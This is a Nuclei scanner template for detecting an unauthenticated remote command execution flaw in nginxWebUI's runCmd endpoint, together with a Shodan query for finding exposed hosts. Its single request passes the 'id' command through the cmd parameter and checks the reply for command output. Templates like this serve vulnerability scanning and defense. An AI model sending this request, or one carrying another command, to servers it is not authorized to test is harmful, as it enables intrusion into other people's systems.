id: nginxwebui-runcmd-rce

info:
  name: nginxWebUI ≤ 3.5.0 runCmd - Remote Command Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    nginxWebUI’s runCmd feature and is caused by incomplete validation of user input. Attackers can exploit the vulnerability by crafting malicious data to execute arbitrary commands on a vulnerable server without authorization.
  reference:
    - https://github.com/qingchenhh/qc_poc/blob/main/Goby/nginxWebUI_runCmd_rce.go
    - https://www.ctfiot.com/124166.html
    - https://www.sangfor.com/farsight-labs-threat-intelligence/cybersecurity/nginxwebui-runcmd-remote-command-execution-vulnerability
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"nginxWebUI"
  tags: nginx,nginxwebui,rce,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/AdminPage/conf/runCmd?cmd=id"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220141576222a02701ada02fc9c3255755aa228d30131d1f307a8bde5f26afc714f022100e4c64f39ecf7ae2276773c640d209632dd2b25ce5cc0b9e8a648cca77d9d8fd4:922c64590222798bb761d5b6d8e72950